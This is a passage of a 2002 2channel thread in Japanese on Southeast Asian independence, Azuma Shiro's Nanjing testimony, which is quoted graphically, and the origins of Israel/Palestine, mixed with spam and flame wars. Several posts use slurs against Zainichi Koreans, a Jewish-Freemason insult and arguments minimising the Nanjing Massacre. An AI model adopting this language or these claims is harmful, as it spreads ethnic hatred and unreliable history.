日本が東南アジアに進出する前から反植民地の独立紛争はありました。
明治維新より前からありますね、勝ったか負けたかは別として。

太平洋戦争により、日本が東南アジアに進出した結果
東南アジア諸国が独立したのはほぼ頷ける歴史の流れですが、
太平洋戦争が無ければ今も植民地だ、などとは口が裂けても言えないですね。

ちなみにインドネシアの場合、民族の独立心に火をつけたのは日本ではなく、
宗主国オランダの「倫理政策」です。
http://www4.justnet.ne.jp/~eden/Hst/indonesia/dokuritu_undou_to_nihonno_gunsei.html
こんなこと、自由主義史観では言わないでしょう?

531 :エラワン ◆X0jRLHdw :02/04/25 00:44 ID:ziRqtUeZ
>太平洋戦争が無ければ今も植民地だ、などとは口が裂けても言えないですね。
心でそう思っても実際に現地人の前でそれを言うと彼らのプライドを傷つける事になるからね。



532 : ◆yzlSeA0w :02/04/25 01:13 ID:wKZwX5g8
>>529
という事は、あの元戦友は「郵便袋〜」以外は事実だと認めてるのかなぁ?なあんてね。

>「このような作為のある人物の発言であるから、鵜呑みにはできない」事が明確になるという効果を期待できる。

という効果を狙った訴訟なんだよね。
その効果を狙った訴訟の結果を以て、あなたは東史郎はうそつき、こんな奴信用できるか、と言ってるんだよね。
その効果を狙った訴訟は南京大虐殺とは関係なく、人物の評価をさせるための戦術だったんだよね、うんうん。

ならば、完全に私と同意見。私はこれを「恣意」と呼びました。

これにて終了、めでたしめでたし。

533 :名無しさん@お腹いっぱい。:02/04/25 01:18 ID:8GJTa4Da
郵便袋以外が事実だと主張したいなら、根拠を出せば良い事。
出せないなら寝言。

>「このような作為のある人物の発言であるから、鵜呑みにはできない」事が明確になるという効果を期待できる。

これは恣意でなくて、論理的に当然の結論に過ぎない。
それを恣意だと強弁するなら、これにも根拠が必要だな。
俺は嘘つきを嘘つきとして処遇するのが恣意などとは言ってないよ。


534 : ◆yzlSeA0w :02/04/25 01:18 ID:wKZwX5g8
>>531
はあ?
太平洋戦争が無くったって、独立はしてたかもねってのが私の主張なんですが。
現にマレーシアは1958年になってから独立してるし。

535 :エラワン ◆X0jRLHdw :02/04/25 01:29 ID:ziRqtUeZ
いや、太平洋戦争が無ければインドだけは独立できていただろうけど、(ガンジーやネルーなどの平和主義者が政界から完全に消えれば)
インドネシアやビルマ、マレーシアなどは無理でしょう。武器を持たないし、近代戦も知らなのにどうやって英軍やオランダ軍と戦うのかな?
確かにビルマやマレーシアの場合は独立戦争無しで、交渉だけで独立をかちとったけど、あれは日本軍から貰った武器や日本軍から教わった近代戦を背景にした交渉だったんだよ。
近代兵器を持たず、近代戦も知らないアジア人が農具や石、素手などで(素人戦術)で戦っても欧米軍はすぐに撃退できるしね。イギリスがビルマやマレーシアの独立を認めたのはインドネシア(独立戦争)やインド(民衆の暴動や英印軍の反乱))の奮闘を見て、
これはもう無理だと思ったからだ。


536 :名無しさん@お腹いっぱい。:02/04/25 01:31 ID:8GJTa4Da
それから南京大虐殺と関係あるかないかは、東史郎の証言の信憑性次第だ。
検証の結果、東が嘘つきであるという結論のままなら、東史郎の南京に関する証言は寝言だと言う事になる。
つまり、東の主張に依拠する南京大虐殺の証明が成立しない事を意味する。
これは、南京大虐殺伝承の信憑性に大きな打撃を与えているのではないのかな。

537 :エラワン ◆X0jRLHdw :02/04/25 01:36 ID:ziRqtUeZ
それと、太平洋戦争が無ければ独立は出来る可能性があるは確かに認めるけど、少なくとも数百年は必要だね。(2002年の時点では無理だろう。)
なぜなら、いくら欧米でもたった数十年でそんなに急速に権威を落とす(独立軍に負けるまで力を落とす)はずが無いからだ。
それでも、栄枯盛衰は世の習いという諺通り、いつかは欧米の支配も終りが来るのは間違いないけどね。


538 : ◆yzlSeA0w :02/04/25 01:38 ID:wKZwX5g8
>>533
>郵便袋以外が事実だと主張したいなら、根拠を出せば良い事。
郵便袋以外も虚偽だと主張したいなら、根拠を出せばよいこと。

私は南京大虐殺があろうがなかろうがどっちでもいいんだから、
「郵便袋以外が事実だと主張」したい訳ではない。
あなたが記述しないのが不思議だが、東には共産党系市民団体との繋がりがあるんだし、
中国は国を挙げて彼をバックアップしている。
そこまで知ったうえでこの議論を続けている。

ところがあなたは南京大虐殺はなかったと主張しているので、
「郵便袋以外も虚偽」だということを立証しなくてはならない。

あの判決から言えるのは、郵便袋の記述は現実的ではない、という事だけだ。
それが客観的な思考。
主観的な思考では、冷静な分析など期待できない。

539 :名無しさん@お腹いっぱい。:02/04/25 01:48 ID:8GJTa4Da
>ところがあなたは南京大虐殺はなかったと主張しているので、
>「郵便袋以外も虚偽」だということを立証しなくてはならない。

君が「悪魔の証明」も知らずに南京を論じていたとは知らなかった。
「無かった事の証明」は、よほど特殊な条件が揃わない限り出来ないんものなんだよ。
だから、「なかった」事を示す為には、「あった」とする材料をこつこつアタックするしか無いんだよ。
君が「あった」とする材料を出してくれないと、こっちは反論出来ないんだって。
君が南京の真偽に関心が無く、「あった」とする材料も出さないなら、こちらがしなくてはならない事など皆無だ。
東が嘘つきである事を確認できれば、証拠も無しに「それ以外の個所では真実を記述している」という前提で語る方が偏ってるだけなんだよ。

540 :名無しさん@お腹いっぱい。:02/04/25 02:04 ID:8GJTa4Da
もう寝る。
でわ

541 : ◆yzlSeA0w :02/04/25 02:05 ID:wKZwX5g8
>>535
あなたの言っていることは、
日本が東南アジアに進出する前には東南アジア諸国は独立できなかった、という事。
それは私も同意、というか史実。
>>537
太平洋戦争がなかったら = 太平洋戦争の起こる前の状態が継続していたら
という意味ならば、おっしゃる通りでしょうね。

542 : ◆yzlSeA0w :02/04/25 02:12 ID:wKZwX5g8
>>539
>「あった」とする材料をこつこつアタックするしか無いんだよ。
だったら、「あったとする材料」=「わが南京プラトーン」の、郵便袋以外の記述をアタックすればよいのでは?
私は「南京大虐殺がなかった事を立証する材料を見つけてこい」と言っているのではない。
「南京大虐殺があったとする材料があるんだから、それに噛み付けば?」と言っている。
で、あなたが噛み付いてるところは南京大虐殺があったとする材料じゃないんだよ、と言ってるの。


543 :名無しさん@お腹いっぱい。:02/04/25 03:56 ID:Uq8bsBrE
ブランデンブルグに戻ろうコール
(モドロー首相、コール首相)

544 :TCのヒソヒソ話が開催。:02/04/25 07:51 ID:n1ep6vYn
★今年のTC(日米欧三極委員会)が4月5ー8日に、アメリカ、ワシントンDCにて開催された。
以下↓は今年の参加者の名簿。
http://www.propagandamatrix.com/trilateral
日本からは宮沢、野上、緒方、薬師寺などの代表的な売国奴が勢揃い。

一体、この連中の経費はどこからでているのか。
もちろん国民の血税だろうが、飲み食い散財の挙げ句、自分達の都合の秘密会議。
国民には一切秘密のこんな会合は、国政の運営上でどこに位置づけられているのか。

【疑念と公開質問状】
1.参加者の選任は誰が、どのような過程で選定しているのか。
2.会議の目的と会合の議題は何か。
3.納税者への報告義務はどうしているのか。
4.憲法上の位置づけは。

鼻持ちならないエリート意識でこりかたまった連中が、国民の代表と称して
国民の血税を秘密裏に乱費し、国民の総意とはかけ離れたところで、勝手に
決定し、国政を歪めている。

開催の次期も目的も議題も結果も何等、国民に周知されない会議に我々の
血税が湯水の如く臆面もなく投入され続けている。

★納税者を馬鹿にするのもほどほどにせよ。

545 :名無しさん@お腹いっぱい。:02/04/26 07:16 ID:jVOIzRV4
age

546 :エラワン ◆X0jRLHdw :02/04/26 12:04 ID:YGeEl2GZ
http://yasai.2ch.net/test/read.cgi/kokusai/1018511300/l50

よろしく。

547 :南京と無関係というのがよく分からんが:02/04/26 19:06 ID:DEACMoWj
南京城内の整備を命じられ、郡馬鎮を去る。
中山通にある最高法院は、灰色に塗られた大きな建物である。日本の司法省にあたろうか。
法院の前にぐしゃりとつぶされた自家用車が横倒しになっていた。道路の向こう側に沼があった。
どこからか、一人の支那人が引っぱられてきた。戦友たちは、仔犬をつかまえた子供のように彼を
なぶっていたが、山本は惨酷な一つの提案を出した。
つまり、彼を袋の中へ入れ、自動車のガソリンをかけ火をつけようというのである。
泣き叫ぶ支那人は、郵便袋の中へ入れられ、袋の口はしっかり締められた。彼は袋の中で暴れ、泣
き、怒鳴った。袋はフットボールのようにけられ、野菜のように小便をかけられた。ぐしゃりとつぶ
れた自動車の中からガソリンを出した山本は、袋にぶっかけ、袋に長い紐をつけて引きずり回せるよ
うにした。
心ある者は眉をひそめてこの惨酷な処置を見守っている。心なき者は面白がって声援する。
山本は火をつけた。ガソリンはー度に燃えあがった。と思うと、袋の中で言い知れぬ恐怖のわめき
があがって、こん身の力で袋が飛びあがった。袋はみずから飛びあがり、みずから転げた。
戦友のある者たちは、この残虐な火遊びに打ち興じて面白がった。袋は地獄の悲鳴をあげ、火玉の
ようにころげまわった。

548 :南京と無関係というのがよく分からんが:02/04/26 19:08 ID:DEACMoWj
続き>
袋の紐を持っていた山本は、
「オイ、そんなに熱ければ冷たくしてやろうか」
というと、手橘弾をニ発袋の紐に結びつけて沼の中へ放り込んだ。火が消え袋が沈み、波紋のうねり
が静まろうとしている時、手橘弾が水中で炸裂した。
水がごぽっと盛りあがって静まり、遊びが終わった。
こんな事は、戦場では何の罪悪でもない。ただ山本の残忍性に私たちがあきれただけである。
次の時にはこのようなことは少しの記憶も残さず、鼻唄を唄って歩いている一隊であった。

・・・今の我々には、何の不平も不満もない。希望と喜びに気負い立っていた。
私たちは車座になって、朝から晩までカブ(トランプを使ったバクチ)にふけった。
ほとんどの兵士が、何かしらの徴発品を大切にしていた。私も七点の骨とう品を持っている。
明日の命の保証は、みじんもない危険の中にあって、徴発した重い品を持ち歩くあさましさ。人は、
死の瞬間まで物欲を忘れ得ないのか。
そして今、それぞれの徴発品の貨幣価値を値ぶみし、品さだめをやっている。じつに、あさましい
我々である。
(「わが南京プラトーン」 青木書店199610月出版)

549 :名無し三等兵:02/04/26 19:11 ID:PUZ9wpTl
(;´д`)y-~~しばらく来てない間に南京スレと化してる・・・・・

550 :エラワン ◆X0jRLHdw :02/04/26 20:03 ID:15/Jdng5
仕方が無いな。

551 : ◆yzlSeA0w :02/04/27 02:07 ID:FTcHmsyT
>>547-548

ほほお、これが「南京大虐殺」なの?
新たな発見だ。

こんなのを貼ってみようっと。

「この訴訟は、一見橋本氏個人の名誉回復を目的としているようだが、それだけではない。
 これをひとつの突破口として、歩20の残虐行為の虚偽を証明して名誉を回復し、
 さらに、いわゆる『南京大虐殺』の虚構を明らかにできれば、日本国民全体の利益とも合致する」
  (『月曜評論』1993. 5.17号、板倉由明)

552 :名無しさん@お腹いっぱい。:02/04/27 02:20 ID:ucmcSeUp
>>551
結構な事だ。
意味も無くタブー化されつつあった状況を打破する契機になるなら、
東史郎が言いふらした明白な嘘も怪我の功名と言えるな。
・・・で、それが何?

553 :名無しさん@お腹いっぱい。:02/04/27 02:57 ID:wdm0Jxd5
>「南京大虐殺があったとする材料があるんだから、それに噛み付けば?」と言っている。
>で、あなたが噛み付いてるところは南京大虐殺があったとする材料じゃないんだよ、と言ってるの

じゃあ、どこにあるんだよ?
「南京大虐殺があったとする材料」があるという場所を一度も示さずに
とにかく「ある」とだけ言われても説得力ないぞ。
「神は実在する」と言いたいなら、その証拠を出さなくてはならない。
出せないなら、「神は実在する」という意見を真に受ける理由は無いよな。

554 : ◆yzlSeA0w :02/04/27 02:59 ID:FTcHmsyT
>>553
じゃあ、あの「郵便袋が云々」が南京大虐殺の記述なの?

555 :名無しさん@お腹いっぱい。:02/04/27 03:19 ID:wdm0Jxd5
>>554
そのように喧伝されていたのは確かだがな。
それを論破すれば、「南京大虐殺の証拠」とされている数々の情報の中でも有名な奴が一つ退治出来る訳で結構な事だ。
別にイチャモンをつけて邪魔する理由はないだろう。

556 : ◆yzlSeA0w :02/04/27 03:55 ID:FTcHmsyT
>>555
面白すぎ〜

・郵便袋の記述が即ち南京大虐殺の記述である
・郵便袋の記述の矛盾を論破すれば、「南京大虐殺の証拠」を論破したことになる

南京大虐殺ってのは中国人を郵便袋に入れて、ガソリンをかけて燃やして
手榴弾を二個つけて池の中に放り込むことだそうです。

左翼も右翼もアホばっか。

557 : ◆yzlSeA0w :02/04/27 06:09 ID:FTcHmsyT
>>540
>(;´д`)y-~~しばらく来てない間に南京スレと化してる・・・・・

いいえ、この議論は南京大虐殺を語っているのではないんです。
実は郵便袋の訴訟を語っているんでも、自由主義史観の恣意を語っているわけでもない。

本当の主題は、「論破とは何か」という事です(w

558 :名無しさん@お腹いっぱい。:02/04/27 15:50 ID:kl6/iogP
http://live.2ch.net/test/read.cgi/vote/1019814315/l50
2ちゃんトーナメント
今日はめがね板に支援お願いします

559 :名無しさん@お腹いっぱい。:02/04/27 17:03 ID:3E+qymBK
68 :参加するカモさん :01/12/11 17:29
ひろゆきってたまーに驚く程幼稚なセリフ真顔で吐くんだけど、いったいどういう
青春を送ってきたのだろう?
普通に成長を遂げた人間であれば赤面してしまうような恥ずかしいセリフ

82 :参加するカモさん :01/12/13 15:02
なんとなく言ってることわかる。
俺もひろゆきと何回か話したことあるけど、大昔のドラマでも見てるような気になった

95 :参加するカモさん :01/12/22 16:35
飲み会になると、必ず「遅刻」の話を得意気に語りだすけど、ひろゆきって遅刻することかっこいいと
思っているのかな?
回りの人間は苦笑するしかないけど、この人やっぱり幼稚だと思う

560 :親切な人:02/04/27 17:08 ID:YXe83A9P

ヤフーオークションで、凄い人気商品、発見!!!

「高性能ビデオスタビライザー」↓
http://user.auctions.yahoo.co.jp/jp/user/NEO_UURONNTYA

ヤフーオークション内では、現在、このオークション
の話題で、持ちきりです。

561 :地獄菩薩:02/04/28 00:53 ID:+TPbLMfk
ちょっと失礼。すまないけど最近、ペルーの
テロ組織、MRTAとセンデロ・ルミノソの
勢力はどうなったの?フジモリ前大統領によ
って弱体化されたが、大統領が変わって、
復活してきたとか?

562 :名無しさん@お腹いっぱい。:02/04/28 01:00 ID:V+haBLgQ
>>561
帰れ、専門板に来るな!

563 :地獄菩薩:02/04/28 01:05 ID:s6ONTsEW
>>562
うるせぇ!質問しただけなのになんでそんな言われ方をされなきゃ
いけないんだ?氏ね!

564 :名無しさん@お腹いっぱい。:02/04/28 01:05 ID:NUpAJjY2


出てけ。>561




565 :地獄菩薩:02/04/28 01:09 ID:MV9rqOdX
ここの奴って性格最悪!2度と来るか!!!

566 :名無しさん@お腹いっぱい。:02/04/28 02:22 ID:m3WDLQlW
>>562-564

国際情勢板の恥さらしのきちがい !!
地獄菩薩さんへ、ごめんなさい 。

567 :名無しさん@お腹いっぱい。:02/04/28 05:48 ID:QMvfw5Wt
FRANCEはルペン大統領で決まり。
シラクは用済み。

568 :古参住民:02/04/28 22:52 ID:aRXLGpg/
>>565
ド素人は(・∀・)カエレ!!

569 :地獄菩薩:02/04/29 01:52 ID:F6xXNoYL
>>568

てめえがド素人だろが。
くたばれ国際情勢板のバカども。

570 :名無し三等兵:02/04/30 01:15 ID:xMBkETvS
>>地獄菩薩
(;´ー`)y-~~どうも申し訳ありません
       とあるコテハンの暴走以来、治安が悪化しとるんです


       で、ペルーの件ですが
       どうも日本大使館占拠事件が一つのキッカケになったらしいのです
       その後、日本からのODAの”増額”があったかは知りませんが
       あれ以来フジモリ大統領がゲリラ殲滅に妙にやる気を出して
       99年にはセンデロの武装組織、センデロ・ソホの指導者を逮捕
       他にも軍の特殊部隊を投入した掃討作戦により同国の左翼ゲリラは
       事実上、壊滅状態です。

571 :地獄菩薩 :02/04/30 01:21 ID:H37v1hEb

初めからさっさと答えろよ
国際情勢板のクズども。必死に調べてたんかい

572 :死ね、地獄菩薩:02/04/30 01:31 ID:CvdHi0rf

よそ者のくせに態度デカイゼ !!!
どこの板のはぐれ者なんだ、落ちこぼれのチンピラ。

573 :ムラ意識ださい:02/04/30 01:37 ID:Ja28oacv
>>572
よそ者って・・・
お前、何か勘違いしてないか?


574 :名無しさん@お腹いっぱい。:02/04/30 01:44 ID:dcnqskbX
>>573

頭のにぶい、どん百姓は死ね !!! (w w

575 :名無しさん@お腹いっぱい。:02/04/30 01:50 ID:dcnqskbX
>>573

バカものよ、>>561から読んでみなよ、ドキュン厨房 

576 :名無しさん@お腹いっぱい。:02/04/30 01:50 ID:taQTuNQ1
枢機郷の病気が悪化してる。
懲りない奴だ。

577 :名無し三等兵:02/04/30 02:05 ID:kp81XGuH
>>571
(;´ー`)y-~~何故IDが違う?

578 :ののみ:02/04/30 02:08 ID:5VBU8RFT
しょほてきな かくらんなの。
あっさり のせられる 枢ちゃんは
しゅぎょうが たらないから め〜なの。

579 :枢機郷 ◆wiSZ9y22 :02/04/30 02:12 ID:3ut6MXQ/
>>578

在日朝鮮人の低脳じじい「何でも枢機郷のせい」にするなよ。
「朝鮮ゴキブリ雑魚ちゃん」 (藁・(ワラ・(w

580 :名無しさん@お腹いっぱい。:02/04/30 02:12 ID:MxBh7DtC
>>578
お前が地獄菩薩か?

581 :名無しさん@お腹いっぱい。:02/04/30 02:12 ID:I3DPtMr2
祝!菊地ドットコム再開
http://www2.diary.ne.jp/user/142094/


582 :名無しさん@お腹いっぱい。:02/04/30 02:13 ID:MxBh7DtC
>>581
おお、そうかそうか
よかったな

583 :ののみ:02/04/30 02:18 ID:a+EsX3iD
>>580
そんなわけ ないのよ。
れいせいに じょ〜きょ〜を かんさつすれば わかることなの。
枢ちゃんが なりすましを みわけられずに やたらと かみつくのは
いつものことなの
ちゃんと かいわの ながれを よまなきゃ め〜なの。

584 :枢機郷 ◆wiSZ9y22 :02/04/30 02:22 ID:qIfLJISh
>>583

また「在日朝鮮人のマッチポンプ野郎」のお出ましかい。 
相変わらずの「在日朝鮮人雑魚ぶり」は変わらないね。 (藁・(ワラ・(w


それじバイバイ

アディオス、アミーゴ。


585 :名無しさん@お腹いっぱい。:02/04/30 02:25 ID:a+EsX3iD
枢ちゃんの も〜そ〜は なおらないの。(w w

586 :名無しさん@お腹いっぱい。:02/05/01 00:45 ID:EJcv8j6C
出て来い、アホの地獄菩薩
ワッハッハッハー

587 :名無しさん@お腹いっぱい。:02/05/01 00:46 ID:So4gSypY
アホの地獄菩薩、在日チョンのうじ虫が

588 : ◆yzlSeA0w :02/05/01 02:17 ID:KbMEaMod

こういうオバカは無視放置。
>>566は枢機郷だよね。
こういう発言こそ、名を名乗って発言してよ。

「在日朝鮮人のマッチポンプ野郎」って、私のことじゃないよね?
米英仏蘭の蘭のことかな?

589 :名無しさん@お腹いっぱい。:02/05/02 01:46 ID:SrHjLZlX
ちょっと信じられないが・・・
まだ枢機郷の思考力に期待してる奴がいるのかよ・・・?

590 : ◆yzlSeA0w :02/05/02 04:13 ID:wTJgthDq
ちょっと信じられないが・・・
まだ枢機郷を煽ってる奴がいるのかよ・・・?

591 : ◆yzlSeA0w :02/05/02 04:23 ID:wTJgthDq
>>赤軍Z(って実在するのか?)

共闘しようか?
私は多分あなたより相当右だけども、左派の主張に賛同する所は結構ある。
AAばっかじゃつまんないし、破壊力が小さい。
koueiたんもあんまり出てこないし、このままじゃウヨの巣窟になっちゃうよ?
マトモに議論でウヨを攻撃しませんか?

などと、もしかしたら架空のキャラかもしれない人に語りかけてみたりする。

592 :名無しさん@お腹いっぱい。:02/05/02 05:06 ID:nsKy04Wv
赤軍Zが架空のキャラだって?おまえバカか


593 :名無しさん@お腹いっぱい。:02/05/02 16:46 ID:50M8n9NC
枢機郷の知性を妥当に評価すると煽りになるのか?
何故だ?(藁

594 :エラワン ◆X0jRLHdw :02/05/03 00:04 ID:CXvnqsfr
そういえば最近赤軍Zと枢機郷君が来ないね。
ヤバクなって逃げたのかな?

595 :名無し三等兵:02/05/03 00:15 ID:3n1TPgFr
>>594
(;´ー`)y-~~名無しになって潜伏してるよ
       つかってる言葉(低脳バカ等)が特徴的だから
       よく探せば簡単にわかるよ


596 :枢機郷 ◆wiSZ9y22 :02/05/03 12:24 ID:Nq64+4rE
>>595

相変わらず「低脳三等兵」は、ネタをカキコしているうすらバカ。
お前と違って枢機郷は「なりすましが苦手でねーー」 (藁・(ワラ・(w

「スレ上げ荒らしと、板違いのバカスレ立て」ばかりで、カキコのしようが無いだろうに。
能書きタレる前に、対策でも考えろよ「低脳三等兵」 (藁・(ワラ・(w

597 :エラワン ◆X0jRLHdw :02/05/03 14:07 ID:MV3lab5O
国際情勢板で左翼マンセーなスレってどこだろう? 


598 :名無し三等兵:02/05/03 16:11 ID:051qMPCK
(;´ー`)y-~~
>>596
>「スレ上げ荒らしと、板違いのバカスレ立て」ばかりで、
>カキコのしようが無いだろうに。 能書きタレる前に、対策でも考えろよ

自治や治安回復なら私は少し前までイロイロと手は打っていたよ
スレ底ageに対抗して自治スレをみんなでageて対策本部にしよとか
(全く効果は無かったけどね)
だが驚いた、貴方から自治議論が出てくるとは意外だ

599 :名無しさん@お腹いっぱい。:02/05/04 22:20 ID:ZZLrgvMr

2chを襲う厨房スパイラル
http://kaba.2ch.net/test/read.cgi/news2/1020514216/


600 :赫軍Z ◆yyZketsQ :02/05/04 22:52 ID:9q9fiMWa
600番ゲットォォォォォォォォ----------- 
               ズザーーーーッ
               ∩)  (´´ (´⌒(´
            ∧∧ノ  つ ズザーーーーーッ(´⌒(´
         ⊂(゜Д゜⊂ ノ ∧∧≡≡)ズザーーッ(´⌒;;;≡≡
              ∧∧(゜Д゜⊂⌒`つ∧∧≡(´⌒;;;≡≡≡
        ∩) ⊂(゜Д゜⊂⌒`つ≡⊂(゜Д゜⊂⌒∧∧≡≡)(´⌒;;;≡≡
     ∧∧ノ  つ ズザーーーーッ∧∧(´⌒(´ ⊂(゜Д゜⊂⌒`つ≡(´´(´⌒(´
  ⊂(゜Д゜⊂ ノ ∧∧≡≡)⊂(゜Д゜⊂⌒`つズザーーッ(´⌒;;;≡≡
       ∧∧(゜Д゜⊂⌒`つ∧∧≡(´⌒;;;≡≡≡
    ⊂(゜Д゜⊂⌒`つ≡⊂(゜Д゜⊂⌒`つ≡(´⌒;;;≡≡≡
          ̄(´⌒(⌒;;∩)  (´´ ∧∧(´⌒)ズザーーーーッ
            ∧∧ノ  つ ⊂(゜Д゜⊂⌒`つズザーーーーーッ(´⌒(´
         ⊂(゜Д゜⊂. .ノ ∧∧≡≡)ズザーーッ(´⌒;;;≡≡
                 (゜Д゜⊂⌒`つ≡≡≡(´⌒;;;≡≡≡


601 :kouei35@非戦主義 ◆n8aPRTS. :02/05/04 23:08 ID:H9eXBfkp
>>591
  ∧_∧
 ( ´∀`)<私は最近自衛隊板でkouei35人工知能プログラム製作に協力している
 (    )  最中で忙しいのだ。馬鹿ウヨの発言を発見したら私にメールください。
 | | |   お待ちしております。(藁
 (__)_)

602 :エラワン ◆X0jRLHdw :02/05/04 23:29 ID:yakJdfv6
>>600
おっ、出たな、赤軍Zめ。
最近、お前の発言が馬鹿馬鹿しくて笑えるようになってきた。

603 :赫軍Z ◆yyZketsQ :02/05/05 00:35 ID:NoUp1pSB
中国板で煽ってきたぜ。エラワンは晒し者。(藁


604 :エラワン ◆X0jRLHdw :02/05/05 02:36 ID:b5qH/Jze
まさかお前が荒らしをやっている犯人か?

605 :エラワン ◆X0jRLHdw :02/05/05 02:38 ID:b5qH/Jze
大体、お前の左翼発言が笑えると言っただけなのになんで煽る?
お前の発言=左翼発言なんだぞ。
まさか反論できなくなったとか?

606 :赤軍Z ◆yyZketsQ :02/05/05 12:43 ID:sJrqoVjH
>>604
おいおい、「荒らし」なんて人聞きの悪いこと言うなよ。
俺はただ、馬鹿ウヨの発言は見つけ次第制裁を加える!・・これが俺の
ライフ・スタイルさ。。。...

607 :エラワン ◆X0jRLHdw :02/05/05 18:03 ID:3mllH4xy
>>606
そうか、わかったわかった。
じゃあ、俺を煽る為のスレを作成したのはお前か?
俺を叩くスレで論議したのもお前か?

ま、君のような左翼発言者はもう時代遅れじゃ。
それとも、君はユダヤフリーメーソンか?

608 :イスラエルは:02/05/05 18:09 ID:GNBnWKxY
もともと、ユダヤ人が住んでて、バビロンの捕囚でユダヤ人が連れ去られて、
その後、パレスチナ人が住み着いたということですか?
それとも、昔は同じ土地にユダヤ人もパレスチナ人も仲良く住んでいた。
がユダヤ人が連れて行かれて、パレスチナ人が増えて勝手に住み着いてたということ?

609 :どうでもいいけど:02/05/05 18:38 ID:VjTDyDUs
>>608
それを言うなら、ディアスポラじゃ?

 ではなぜユダヤ人は聖地と呼ぶエルサレムを離れ、また帰ってきたのでしょうか?
もともとはエルサレムのある地域はカナンと呼ばれていて先住民のカナン人が住んでいたそうです。
ところが紀元前13世紀頃、古代イスラエル民族がやってきてその地域を征服して定着することになります。
聖書にはアブラハムとその子孫に約束された地として描かれているそうです。
そして紀元前11世紀頃にダビデ・ソロモン両王の時代に強大な王国になりますが、
その後南北に別れそれぞれアッシリア、バビロニアに滅ぼされます。
その後紀元前4世紀頃にユダヤ教が始まります。
当然、ユダヤ人であったイエス・キリストもパレスチナの地域に住んでいて、ヨルダン川で洗礼を受けたとされています。
イエスキリストの後、やがてキリスト教はローマ帝国の国教になります。
ローマ帝国に反抗したイスラエルは滅ぼされてその民は世界中に散ることになります。
http://www.geocities.co.jp/Bookend-Kenji/7219/columns/3aa_business/Israel_ParestinaBattle.html

カナン人は、今のパレスチナ人の祖先と言われているが・・・
今のユダヤ人が、「古代イスラエル人の末裔」と言いにくいのと同じで、眉唾ものかもね?

610 :どうでもいいけど:02/05/05 18:40 ID:VjTDyDUs
そもそも、パレスチナは一体だれの国土であろうか?
イスラエルは、古代エジプ ト王国時代のダビデ・ソロモンの栄華を盛んに宣伝しているが、
最初の先住民と見なされているカナン人(今のパレスチナ人の祖先)は、
紀元前2000年にすでにこの 地に住みついている。
また、パレスチナの原名になったフェルチナ人はこの国の南部に住んでいた。

ヘブライ人がエジプトから侵攻して来たのは、紀元前12世紀になってからのことであり、
ユダとイスラエルの王国が200年続いたとはいえ、フィルスチナ人は征服 されなかった。
それに、ダビデ・ソロモンの最盛期にしても高々78年にすぎず、
これらの王国も紀元前70年には、ローマに亡ぼされ、
132年には、ハドリアヌス皇 帝に鎮圧されて事実上滅亡、ユダヤ人は世界に離散した。

一方、今日のパレスチナ人はカナン人の時代から4000年の間、この地に住み続 け、
ローマの支配下、キリスト教徒に改宗し、637年のイスラム教徒であるアラブ 人の占領によってアラブ人となり、
その一部の人々はキリスト教徒になったとはいえ、その基本的な構成には変化はなく、
その根底においてアラブ的性格は保持されてきたのである。
http://www.japan-arab.org/arab_night/25.html

一応・・・

611 :名無し三等兵:02/05/05 18:52 ID:qmSnceop
>>608-609-610
(;´ー`)y-~~そもそもこーいった有意義なネタをイスラエルスレで
       やって欲しいと思う(心から)

612 :どうでもいいけど:02/05/05 19:26 ID:VjTDyDUs
まあ、大体はこんな感じ

 パレスチナ問題と聖書の民 <第3回>
http://www.mercury.sannet.ne.jp/melondotnet/plesti03.htm

613 :どうでもいいけど:02/05/05 19:28 ID:VjTDyDUs
バビロン捕囚と言えば・・・

旧約聖書 詩篇137篇 1-9節

1 バビロンの川のほとり、
 そこで、私たちはすわり、シオンを思い出して泣いた。
2 その柳の木々に私たちは立琴を掛けた。
3 それは、私たちを捕え移した者たちが、そこで、私たちに歌を求め、
 私たちを苦しめる者たちが、興を求めて、
 「シオンの歌を一つ歌え。」と言ったからだ。
4 私たちがどうして、異国の地にあって主の歌を歌えようか。

5 エルサレムよ。
 もしも、私がおまえを忘れたら、私の右手がその巧みさを忘れるように。
6 もしも、私がおまえを思い出さず、
 私がエルサレムを最上の喜びにもまさってたたえないなら、
 私の舌が上あごについてしまうように。
7 主よ。エルサレムの日に、「破壊せよ、破壊せよ、その基までも。」
 と言ったエドムの子らを思い出してください。
8 バビロンの娘よ。荒れ果てた者よ。
 おまえの私たちへの仕打ちを、
 おまえに仕返しする人は、なんと幸いなことよ。
9 おまえの子どもたちを捕え、
 岩に打ちつける人は、なんと幸いなことよ。
http://members.tripod.co.jp/SNKYM/psalms34.txt

ユダヤ人の悲哀と根性

614 :どうでもいいけど:02/05/05 20:26 ID:VjTDyDUs
>>606
あ、そうだ!

赤軍は右翼を憎んでるみたいだけど、なんで?
何がキッカケで右翼的発言を憎むようになったのかな?

思想的な問題?
右翼思想が醜いと感じるから?
それとも、なにか私怨でもあるの?

615 :エラワン ◆X0jRLHdw :02/05/05 21:12 ID:rfnab08i
あれっ、赤軍Z君は逃げたのかな?
反論出来なくなって。やっぱり、ユダヤフリーメーソンだったのかな。

616 :頑張れハト派モナカ ◆rqQ7z3WI :02/05/05 21:21 ID:njEnWM+T
>>615
すぐに逃げたとか言って脳内勝利宣言だすのはいかがなものかと。(ボソッ

617 :赫軍Z ◆yyZketsQ :02/05/05 21:36 ID:GN4NEAiI
>>615
藁…)、「ユダヤフリーメーソン」と言われて、俺が何らかの動揺でもすると
思ったのか、マヌケ。
>>614
> 何がキッカケで右翼的発言を憎むようになったのかな?
こういう連中には何か共通した鬼畜性を感じる。物心ついた時からこのテの
人間は大嫌いだ。


618 :エラワン ◆X0jRLHdw :02/05/05 21:39 ID:rfnab08i
で、赤軍Z君はいくつ?
25以上かい?40以下かい?
結婚は?
子供は?
君の好きな国は(中国か?)
嫌いな国は(アメリカとイスラエルか?)

日本はこれからも一生、戦争責任に対して謝罪しつづけろって言うのか?

以上、インタビューに答えたり!



619 :どうでもいいけど:02/05/05 21:57 ID:VjTDyDUs
>>618
推測

1)おそらく20代
2)独身(片思い?)
3)いるわけない
4)中国(文化が好き)
5)たぶんアメリカとイスラエル

6)この質問に関しては不明(当方も知りたい)

620 :エラワン ◆X0jRLHdw :02/05/05 22:01 ID:rfnab08i
では、俺の良そうも書こう。

1.25〜32歳
2.独身
3.いない
4.中国
5.アメリカとイスラエル
6.おそらくそうだろう。

621 :エラワン ◆X0jRLHdw :02/05/05 22:04 ID:g3xvLHrh
あいかわらず俺は誤字が多いな。(藁

>616
馬鹿言うなって。(w
確かに俺はいつもこの手を使うけど、ただの陽動作戦だよ。
